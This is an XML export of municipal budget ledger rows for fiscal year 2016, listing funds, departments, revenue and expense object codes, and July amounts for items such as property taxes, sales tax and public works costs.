<row _id="21678"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400040.0</object><object_description>SUPPLEMENTAL PROPERTY TAX</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-350000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-350000</total></row>
<row _id="21679"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400060.0</object><object_description>PROPERTY TAXES-DEL-SEC/UNSEC</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-632700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-632700</total></row>
<row _id="21680"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400140.0</object><object_description>UTILITIES USERS TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-33682793</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-33682793</total></row>
<row _id="21681"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400160.0</object><object_description>SALES / USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2016</fiscal_year><july>-37540116</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-37540116</total></row>
<row _id="21682"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>404900.0</object><object_description>TMP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-550000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-550000</total></row>
<row _id="21683"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>410200.0</object><object_description>PROGRAM INCOME</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-100000</total></row>
<row _id="21684"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533126.0</object><object_description>WATER DIV CNG STN MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2100</total></row>
<row _id="21685"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410140.0</object><object_description>TRANSPORTATION ENG SVCS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-45000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-45000</total></row>
<row _id="21686"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410160.0</object><object_description>BLOCK PARTIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1000</total></row>
<row _id="21687"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578020.0</object><object_description>HOME PROGRAM ADMIN</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-52421</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-52421</total></row>
<row _id="21688"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-1880</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1880</total></row>
<row _id="21689"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>106</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>106</total></row>
<row _id="21690"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="21691"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1200</total></row>
<row _id="21692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405580.0</object><object_description>GILLETTE SETTLEMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-2433175</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2433175</total></row>
<row _id="21693"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-23683</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-23683</total></row>
<row _id="21694"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>38977</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38977</total></row>
<row _id="21695"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>39210</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39210</total></row>
<row _id="21696"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21697"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21698"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>578920.0</object><object_description>PROP A-MAINT (NOT LOCAL RETRN)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40000</total></row>
<row _id="21699"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>410100.0</object><object_description>FIRE MISCELLANEOUS REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20000</total></row>
<row _id="21700"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400010.0</object><object_description>PROPERTY TAXES - SECURED</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-27523549</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-27523549</total></row>
<row _id="21701"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400020.0</object><object_description>PROPERTY TAXES - UNSECURED</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-1023000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1023000</total></row>
<row _id="21702"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400150.0</object><object_description>DOCUMENTARY TRANSFER TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-5540000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5540000</total></row>
<row _id="21703"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>68310</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>68310</total></row>
<row _id="21704"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>410180.0</object><object_description>EMS RECORDS FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-100</total></row>
<row _id="21705"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>629</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>629</total></row>
<row _id="21706"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1322</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1322</total></row>
<row _id="21707"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>52</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52</total></row>
<row _id="21708"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400351.0</object><object_description>RPTTF RESIDUALS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-6063094</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6063094</total></row>
<row _id="21709"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-9908</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9908</total></row>
<row _id="21710"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>286</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>286</total></row>
<row _id="21711"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6045</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6045</total></row>
<row _id="21712"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="21713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>50186</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50186</total></row>
<row _id="21714"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19965</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19965</total></row>
<row _id="21715"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>260275</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>260275</total></row>
<row _id="21716"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1506</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1506</total></row>
<row _id="21717"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9573</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9573</total></row>
<row _id="21718"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570320.0</object><object_description>TRANS TO 01-GLOW, PLGRND PRTNR</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>35600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35600</total></row>
<row _id="21719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>569300.0</object><object_description>BIKE VALET-PICO LIBRARY</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9934</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9934</total></row>
<row _id="21720"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21721"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21722"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>144</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>144</total></row>
<row _id="21724"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2639</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2639</total></row>
<row _id="21725"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3540</total></row>
<row _id="21726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579330.0</object><object_description>TRANSFER IN FROM GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-460295</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-460295</total></row>
